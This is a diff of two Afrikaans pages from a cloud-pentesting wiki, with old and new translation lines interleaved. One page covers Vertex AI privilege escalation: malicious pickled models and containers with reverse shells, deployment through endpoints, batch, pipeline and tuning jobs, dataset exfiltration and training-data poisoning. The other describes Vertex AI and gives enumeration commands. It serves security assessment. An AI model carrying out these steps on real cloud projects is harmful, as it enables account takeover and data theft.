> Om hierdie aanval uit te voer is dit nodig om 'n world readable GCS bucket te hê of 'n nuwe een te skep om die model artifacts op te laai.
> Om hierdie aanval uit te voer, is dit nodig om 'n world readable GCS bucket te hê of 'n nuwe een te skep om die model artifacts op te laai.
<details>
<summary>Laai kwaadwillige pickled model op met reverse shell</summary>
<summary>Upload malicious pickled model with reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -143,16 +149,16 @@ gcloud ai models upload \
</details>
> [!DANGER]
> Nadat die kwaadwillige model opgelaai is, kan n aanvaller wag dat iemand die model gebruik, of die model self loods via n endpoint-implementering of n batch-voorspellingswerk.
> Na die oplaai van die kwaadwillige model kan 'n aanvaller wag dat iemand die model gebruik, of die model self begin via 'n endpoint deployment of 'n batch prediction job.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) of ( `aiplatform.endpoints.setIamPolicy` )
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
As jy toestemming het om modelle na endpoints te skep en te ontplooi, of endpoint IAM-beleide te wysig, kan jy van die opgelaaide kwaadwillige modelle in die projek gebruik maak om privilege escalation te bewerkstellig. Om een van die vroeër opgelaaide kwaadwillige modelle via n endpoint te aktiveer, hoef jy net die volgende te doen:
As jy toestemming het om modelle na endpoints te skep en te ontplooi, of endpoint IAM-beleid te wysig, kan jy opgelaaide kwaadwillige modelle in die projek aanwend om privilege escalation te bereik. Om een van die vroeër opgelaaide kwaadwillige modelle via 'n endpoint te aktiveer, hoef jy net:
<details>
<summary>Ontplooi kwaadwillige model na endpoint</summary>
<summary>Deploy malicious model to endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
@@ -173,16 +179,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
As jy toestemming het om 'n **batch prediction jobs** te skep en dit met 'n service account uit te voer, kan jy toegang tot die metadata service kry. Die kwaadwillige kode word uitgevoer vanaf 'n **custom prediction container** of **malicious model** tydens die batch prediction-proses.
As jy toestemming het om **batch prediction jobs** te skep en dit met 'n service account uit te voer, kan jy toegang tot die metadata service kry. Die kwaadwillige kode word uitgevoer vanaf 'n **custom prediction container** of **malicious model** tydens die batch prediction-proses.
**Note**: Batch prediction jobs kan slegs geskep word via die REST API of die Python SDK (geen gcloud CLI ondersteuning nie).
**Nota**: Batch prediction jobs kan slegs geskep word via die REST API of Python SDK (geen gcloud CLI ondersteuning).
> [!NOTE]
> Hierdie aanval vereis eers dat jy 'n malicious model oplaai (sien die `aiplatform.models.upload` afdeling hierbo) of 'n custom prediction container gebruik met jou reverse shell-kode.
> Hierdie aanval vereis dat jy eers 'n malicious model oplaai (sien die `aiplatform.models.upload` afdeling hierbo) of 'n custom prediction container gebruik met jou reverse shell code.
<details>
<summary>Skep 'n batch prediction job met 'n malicious model</summary>
<summary>Skep batch prediction job met malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
@@ -238,14 +244,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
As jy die **models.export** toestemming het, kan jy modelartefakte na 'n GCS bucket uitvoer wat jy beheer, en moontlik toegang kry tot sensitiewe opleidingsdata of modellêers.
As jy die **models.export** toestemming het, kan jy modelartefakte na 'n GCS-bucket wat jy beheer uitvoer, en moontlik toegang kry tot sensitiewe opleidingsdata of modellêers.
> [!NOTE]
> Om hierdie attack uit te voer, is dit nodig om 'n wêreldwyd leesbare en skryfbare GCS bucket te hê, of 'n nuwe een te skep om die modelartefakte op te laai.
> Om hierdie aanval uit te voer, moet jy 'n wêreldwyd leesbare en skryfbare GCS-bucket hê, of 'n nuwe een skep om die modelartefakte op te laai.
<details>
<summary>Eksporteer modelartefakte na 'n GCS bucket</summary>
<summary>Voer modelartefakte na 'n GCS-bucket uit</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
@@ -272,12 +278,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Skep **ML pipeline jobs** wat verskeie stappe met arbitrary containers uitvoer en privilege escalation bereik deur reverse shell toegang.
Skep **ML pipeline jobs** wat meerdere stappe uitvoer met arbitrêre containers en privilege escalation bereik deur reverse shell toegang.
Pipelines is veral kragtig vir privilege escalation omdat hulle multi-stage attacks ondersteun waar elke komponent verskillende containers en konfigurasies kan gebruik.
Pipelines is besonders kragtig vir privilege escalation omdat hulle multi-stage attacks ondersteun waar elke komponent verskillende containers en konfigurasies kan gebruik.
> [!NOTE]
> Jy het 'n GCS-bucket nodig wat deur almal geskryf kan word om as die pipeline root te gebruik.
> You need a world writable GCS bucket to use as the pipeline root.
<details>
@@ -290,7 +296,7 @@ pip install google-cloud-aiplatform
<details>
<summary>Skep pipeline-taak met reverse shell-container</summary>
<summary>Skep pipeline job met reverse shell container</summary>
```python
#!/usr/bin/env python3
import json
@@ -384,15 +390,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Skep **hyperparameter tuning jobs** wat ewekansige kode uitvoer met verhoogde bevoegdhede deur custom training containers.
Skep **hyperparameter tuning jobs** wat arbitrêre kode met verhoogde regte uitvoer deur custom training containers.
Hyperparameter tuning jobs maak dit moontlik om verskeie training trials parallel te laat loop, elk met verskillende hyperparameter-waardes. Deur 'n kwaadwillige container op te gee met 'n reverse shell of exfiltration command, en dit te assosieer met 'n privileged service account, kan jy privilege escalation bereik.
Hyperparameter tuning jobs laat jou toe om verskeie training trials gelyktydig uit te voer, elk met verskillende hyperparameter values. Deur 'n kwaadwillige container met 'n reverse shell of exfiltration command te spesifiseer en dit te koppel aan 'n privileged service account, kan jy privilege escalation bereik.
**Impact**: Volledige privilege escalation na die target service account se permissies.
**Impak**: Volledige privilege escalation na die teiken se service account se permissions.
<details>
<summary>Skep hyperparameter tuning job with reverse shell</summary>
<summary>Skep hyperparameter tuning job met reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -433,15 +439,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
Voer **datastelle** uit om training data te exfiltrate wat sensitiewe inligting kan bevat.
Eksporteer **datasets** om training data te exfiltreer wat sensitiewe inligting kan bevat.
**Let op**: Datastel-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datastelle nie).
**Nota**: Dataset-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datasets nie).
Datastelle bevat dikwels die oorspronklike training data wat PII, vertroulike besigheidsdata, of ander sensitiewe inligting kan insluit wat gebruik is om produksiemodelle op te lei.
Datasets bevat dikwels die oorspronklike training data, wat PII, vertroulike sake-data, of ander sensitiewe inligting kan bevat wat gebruik is om produksie-modellen op te lei.
<details>
<summary>Voer datastel uit om training data te exfiltrate</summary>
<summary>Eksporteer dataset om training data te exfiltreer</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -485,27 +491,30 @@ cat exported-data/*/data-*.jsonl
# - Internal documents or communications
# - Credentials or API keys in text data
```
</details>
### `aiplatform.datasets.import`
Voer kwaadwillige of poisoned data in bestaande datastelle in om **modelopleiding te manipuleer en backdoors te introduceer**.
Importeer kwaadwillige of poisoned data in bestaande datasets om **modelopleiding te manipuleer en backdoors te introduceer**.
**Nota**: Datastel-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datastelle nie).
**Nota**: Dataset-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datasets nie).
Deur gemaakte data in 'n datastel in te voer wat gebruik word om ML-modelle op te lei, kan 'n aanvaller:
- Introduce backdoors into models (trigger-based misclassification)
- Poison training data om modelprestasies te verswak
- Invoeg data om modelle te laat leak inligting
Deur vervaardigde data in 'n dataset te importeer wat gebruik word vir die opleiding van ML-modelle, kan 'n aanvaller:
- Introduce backdoors in modelle (trigger-based misclassification)
- Poison opleidingsdata om modelprestasie te verswak
- Inject data om modelle te laat leak inligting
- Manipuleer modelgedrag vir spesifieke insette
Hierdie aanval is besonder doeltreffend wanneer dit fokus op datastelle wat gebruik word vir:
- Beeldklassifikasie (invoeg verkeerd gemerkte images)
- Teksklassifikasie (invoeg bevooroordeelde of kwaadwillige teks)
- Objekopsporing (manipuleer bounding boxes)
- Aanbevelingstelsels (invoeg vals voorkeure)
Hierdie aanval is besonder doeltreffend wanneer datasets geteiken word wat gebruik word vir:
- Beeldklassifikasie (inject mislabeled images)
- Teksklassifikasie (inject biased or malicious text)
- Objek-detektering (manipulate bounding boxes)
- Aanbevelingstelsels (inject fake preferences)
<details>
<summary>Voer poisoned data in datastel in</summary>
<summary>Importeer poisoned data in dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -566,7 +575,7 @@ curl -s -X GET \
<details>
<summary>Backdoor attack - Beeldklassifikasie</summary>
<summary>Backdoor attack - Image classification</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -579,7 +588,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
<details>
<summary>Etiket-omkeer-aanval</summary>
<summary>Etiket-omkeringsaanval</summary>
```bash
# Scenario 2: Label Flipping Attack
# Systematically mislabel a subset of data to degrade model accuracy
@@ -593,7 +602,7 @@ done > label_flip.jsonl
<details>
<summary>Datavergiftiging vir modelonttrekking</summary>
<summary>Data poisoning for model extraction</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -620,38 +629,38 @@ EOF
</details>
> [!DANGER]
> Data poisoning attacks kan ernstige gevolge hê:
> - **Security systems**: Om gesigsherkenning of afwykingsopsporing te omseil
> - **Fraud detection**: Modelle oplei om spesifieke bedrogspatrone te ignoreer
> - **Content moderation**: Laat skadelike inhoud as veilig geklassifiseer word
> - **Medical AI**: Foutiewe klassifikasie van kritieke gesondheidstoestande
> - **Autonomous systems**: Manipuleer objekdeteksie vir veiligheid-kritieke besluite
>
> Data-poisoning-aanvalle kan ernstige gevolge hê:
> - **Security systems**: Omseil gesigsherkenning of anomalie-opsporing
> - **Fraud detection**: Oefen modelle om sekere bedrogpatrone te ignoreer
> - **Content moderation**: Veroorsaak dat skadelike inhoud as veilig geklassifiseer word
> - **Medical AI**: Verkeerd klassifiseer kritieke gesondheidstoestande
> - **Autonomous systems**: Manipuleer objekopsporing vir veiligheidskritieke besluite
>
> **Impak**:
> - Modelle met backdoors wat op spesifieke triggers verkeerd klassifiseer
> - Afnemende modelprestasie en akkuraatheid
> - Vooroordeelde modelle wat teen sekere insette diskrimineer
> - Inligtinglek deur modelgedrag
> - Langtermynpersistensie (modelle opgelei op vergiftigde data sal die backdoor oorerf)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> - Backdoored models that misclassify on specific triggers
> - Verminderde modelprestasies en akkuraatheid
> - Vooroordeel in modelle wat teen sekere insette diskrimineer
> - Inligting leak deur modelgedrag
> - Langtermynpersistensie (modelle opgelei op vergiftigde data sal die backdoor erf)
>
>
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
>
> [!WARNING]
> > [!NOTE]
> **Verouderde API**: Die `aiplatform.notebookExecutionJobs.create` API is verouderd as deel van die deprekasie van Vertex AI Workbench Managed Notebooks. Die moderne benadering is om die **Vertex AI Workbench Executor** te gebruik wat notebooks laat loop deur `aiplatform.customJobs.create` (reeds hierbo gedokumenteer).
> Die Vertex AI Workbench Executor laat toe om notebook-uitvoerings te skeduleer wat op Vertex AI custom training infrastructure uitgevoer word met 'n gespesifiseerde service account. Dit is in wese 'n gerief-omhulsel rondom `customJobs.create`.
> **For privilege escalation via notebooks**: Gebruik die `aiplatform.customJobs.create` metode hierbo gedokumenteer, wat vinniger, meer betroubaar is, en dieselfde onderliggende infrastruktuur as die Workbench Executor gebruik.
**Die volgende tegniek word slegs vir historiese konteks verskaf en word nie aanbeveel vir gebruik in nuwe assesserings nie.**
Skep **notebook execution jobs** wat Jupyter notebooks met ewekansige kode uitvoer.
Notebook jobs is ideaal vir interaktiewe styl kode-uitvoering met 'n service account, aangesien hulle Python code-cells en shell-opdragte ondersteun.
<details>
<summary>Skep kwaadwillige notebook-lêer</summary>
> **Deprecated API**: Die `aiplatform.notebookExecutionJobs.create` API is verouderd as deel van die deprekasie van Vertex AI Workbench Managed Notebooks. Die moderne benadering is om **Vertex AI Workbench Executor** te gebruik, wat notebooks laat loop deur `aiplatform.customJobs.create` (reeds hierbo gedokumenteer).
> Die Vertex AI Workbench Executor maak dit moontlik om notebook-uitvoerings te skeduleer wat op Vertex AI custom training infrastructure uitgevoer word met 'n gespesifiseerde service account. Dit is in wese 'n gerieflike wrapper rondom `customJobs.create`.
> **For privilege escalation via notebooks**: Gebruik die `aiplatform.customJobs.create` metode wat hierbo gedokumenteer is — dit is vinniger, meer betroubaar, en gebruik dieselfde onderliggende infrastruktuur as die Workbench Executor.
>
> **Die volgende tegniek word slegs vir historiese konteks verskaf en word nie aanbeveel vir gebruik in nuwe assesserings nie.**
>
> Skep **notebook execution jobs** wat Jupyter-notebooks met arbitrêre kode uitvoer.
>
> Notebook jobs is ideaal vir interaktiewe-styl kode-uitvoering met 'n service account, aangesien hulle Python code cells en shell commands ondersteun.
>
> <details>
>
> <summary>Create malicious notebook file</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
@@ -678,7 +687,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
<details>
<summary>Voer notebook uit met target service account</summary>
<summary>Voer notebook uit met die geteikende diensrekening</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"

View File

@@ -4,101 +4,109 @@
## Vertex AI
[Vertex AI](https://cloud.google.com/vertex-ai) is Google Cloud se geïntegreerde masjienleer-platform vir die bou, ontplooiing en bestuur van AI-modelle op skaal. Dit kombineer verskeie AI- en ML-dienste in een geïntegreerde platform, wat datascientists en ML-ingenieurs in staat stel om:
[Vertex AI](https://cloud.google.com/vertex-ai) is Google Cloud se **geïntegreerde machine learning-platform** vir die bou, ontplooiing en bestuur van AI-modelle op skaal. Dit kombineer verskeie AI- en ML-dienste in een geïntegreerde platform, wat datawetenskaplikes en ML-ingenieurs in staat stel om:
- Oplei aangepaste modelle met AutoML of custom training
- Ontplooi modelle na skaalbare endpoints vir voorspellings
- Bestuur die ML-levensiklus van eksperimentering tot produksie
- Verkry toegang tot pre-trained models uit Model Garden
- Monitor en optimaliseer modelprestasie
- **Oplei maatgemaakte modelle** met AutoML of custom training
- **Ontplooi modelle** na skaalbare endpoints vir voorspellings
- **Beheer die ML-leeftydsiklus** van eksperimentering tot produksie
- **Toegang tot vooraf-opgeleide modelle** vanaf Model Garden
- **Monitor en optimaliseer** modelprestasie
### Agent Engine / Reasoning Engine
Vir **Agent Engine / Reasoning Engine**-spesifieke enumerasie en post-exploitation-paaie wat **metadata credential theft**, **P4SA abuse**, en **producer/tenant project pivoting** betrek, sien:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
### Key Components
#### Models
#### Modelle
Vertex AI models verteenwoordig opgelei masjienleer-modelle wat na endpoints ontplooi kan word vir die dien van voorspellings. Modelle kan wees:
Vertex AI **modelle** verteenwoordig opgelei masjienleermodelle wat na endpoints ontplooi kan word om voorspellings te lewer. Modelle kan wees:
- Uploaded vanaf custom containers of model artifacts
- Gemaak deur AutoML training
- Geïmporteer vanaf Model Garden (pre-trained models)
- Versioned met meerdere weergawes per model
- **Opgelaai** vanaf custom containers of model artifacts
- Geskep deur **AutoML** training
- Ingevoer vanaf **Model Garden** (voor-opgeleide modelle)
- **Geversioneer** met meerdere weergawes per model
Elke model het metadata insluitend sy framework, container image URI, artifact location, en serving configuration.
Elkeen model het metadata insluitend sy framework, container image URI, artifact location, en serving configuration.
#### Endpoints
Endpoints is hulpbronne wat ontplooide models huisves en online voorspellings bedien. Sleutelfunksies:
**Endpoints** is hulpbronne wat ontplooide modelle huisves en aanlynprediksies dien. Sleutelkenmerke:
- Kan meerdere deployed models huisves (met traffic splitting)
- Verskaf HTTPS endpoints vir real-time voorspellings
- Ondersteun autoscaling gebaseer op verkeer
- Kan private of public toegang gebruik
- Ondersteun A/B testing deur traffic splitting
- Kan **veral ontplooide modelle huisves** (met traffic splitting)
- Verskaf **HTTPS-endpoints** vir regstreekse voorspellings
- Ondersteun **autoscaling** gebaseer op verkeer
- Kan **privaat** of **publieke** toegang gebruik
- Ondersteun **A/B testing** deur traffic splitting
#### Custom Jobs
Custom jobs laat jou toe om custom training kode te laat loop met jou eie containers of Python-pakkette. Kenmerke sluit in:
**Custom jobs** laat jou toe om aangepaste training code te laat loop met jou eie containers of Python-pakkette. Kenmerke sluit in:
- Ondersteuning vir distributed training met meerdere worker pools
- Konfigureerbare machine types en accelerators (GPUs/TPUs)
- Service account attachment vir toegang tot ander GCP-resources
- Integrasie met Vertex AI Tensorboard vir visualisering
- VPC connectivity opsies
- Ondersteuning vir **distributed training** met meerdere worker pools
- Konfigureerbare **masjientipes** en **accelerators** (GPUs/TPUs)
- **Service account**-aanhegting vir toegang tot ander GCP-hulpbronne
- Integrasie met **Vertex AI Tensorboard** vir visualisering
- **VPC connectivity**-opsies
#### Hyperparameter Tuning Jobs
Hierdie jobs soek outomaties vir optimale hyperparameters deur meerdere training trials met verskillende parameterkombinasies te hardloop.
Hierdie jobs soek outomaties na optimale hyperparameters deur verskeie training trials met verskillende parameterkombinasies uit te voer.
#### Model Garden
Model Garden bied toegang tot:
**Model Garden** bied toegang tot:
- Pre-trained Google models
- Open-source models (insluitend Hugging Face)
- Third-party models
- Een-kliek ontplooiingsvermoëns
- Voor-opgeleide Google-modelle
- Open-source-modelle (insluitend Hugging Face)
- Derdeparty-modelle
- Een-klik ontplooiingsvermoëns
#### Tensorboards
Tensorboards bied visualisering en monitoring vir ML-eksperimente, wat metrics, model graphs en training progress opspoor.
**Tensorboards** bied visualisering en monitering vir ML-eksperimente, volg metrieke, modelgrafieke en opleidingsvordering.
### Service Accounts & Permissions
By verstek gebruik Vertex AI-dienste die Compute Engine default service account (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), wat Editor-permissies op die projek het. Jy kan egter custom service accounts spesifiseer wanneer:
Standaard gebruik Vertex AI-dienste die **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), wat **Editor**-permissies op die projek het. Jy kan egter pasgemaakte service accounts spesifiseer wanneer:
- Custom jobs geskep word
- Modelle geupload word
- Modelle na endpoints ontplooi word
- Skep van custom jobs
- Oplaai van modelle
- Ontplooiing van modelle na endpoints
Hierdie service account word gebruik om:
- Toegang tot training data in Cloud Storage te kry
- Logs na Cloud Logging te skryf
- Toegang tot secrets vanaf Secret Manager te kry
- Interaksie met ander GCP-dienste te hê
- Toegang tot opleidingsdata in Cloud Storage
- Logs te skryf na Cloud Logging
- Toegang tot secrets uit Secret Manager
- Interaksie met ander GCP-dienste
### Data Storage
- Model artifacts word gestoor in Cloud Storage buckets
- Training data woon gewoonlik in Cloud Storage of BigQuery
- Container images word gestoor in Artifact Registry of Container Registry
- Logs word na Cloud Logging gestuur
- Metrics word na Cloud Monitoring gestuur
- **Model artifacts** word gestoor in **Cloud Storage**-buckets
- **Opleidingsdata** is tipies in **Cloud Storage** of **BigQuery**
- **Container images** word gestoor in **Artifact Registry** of **Container Registry**
- **Logs** word gestuur na **Cloud Logging**
- **Metrieke** word gestuur na **Cloud Monitoring**
### Encryption
By verstek gebruik Vertex AI Google-managed encryption keys. Jy kan ook konfigureer:
Standaard gebruik Vertex AI **Google-managed encryption keys**. Jy kan ook konfigureer:
- Customer-managed encryption keys (CMEK) vanaf Cloud KMS
- Encryption geld vir model artifacts, training data, en endpoints
- **Customer-managed encryption keys (CMEK)** vanaf **Cloud KMS**
- Enkripsie geld vir model artifacts, opleidingsdata, en endpoints
### Networking
Vertex AI-hulpbronne kan gekonfigureer word vir:
- Public internet access (verstek)
- VPC peering vir private toegang
- Private Service Connect vir veilige konnektiwiteit
- Shared VPC ondersteuning
- **Publieke internettoegang** (standaard)
- **VPC peering** vir privaat toegang
- **Private Service Connect** vir veilige konnektiwiteit
- **Shared VPC** ondersteuning
### Enumeration
```bash
@@ -152,7 +160,7 @@ gcloud ai endpoints direct-predict <endpoint-id> \
--region=<region> \
--json-request=request.json
```
### Modelinligtinginsameling
### Model Inligtingsversameling
```bash
# Get detailed model information including versions
gcloud ai models describe <model-id> --region=<region>
@@ -169,7 +177,7 @@ gcloud ai models describe <model-id> --region=<region> --format="value(artifactU
# Get container image URI
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
```
### Eindpuntbesonderhede
### Eindpunt Besonderhede
```bash
# Get endpoint details including deployed models
gcloud ai endpoints describe <endpoint-id> --region=<region>
@@ -243,12 +251,18 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
```
### Privilege Escalation
Op die volgende bladsy kan jy kyk hoe om **abuse Vertex AI permissions to escalate privileges**:
Op die volgende bladsy kan jy nagaan hoe om **abuse Vertex AI permissions to escalate privileges**:
{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
### Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
## Verwysings
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)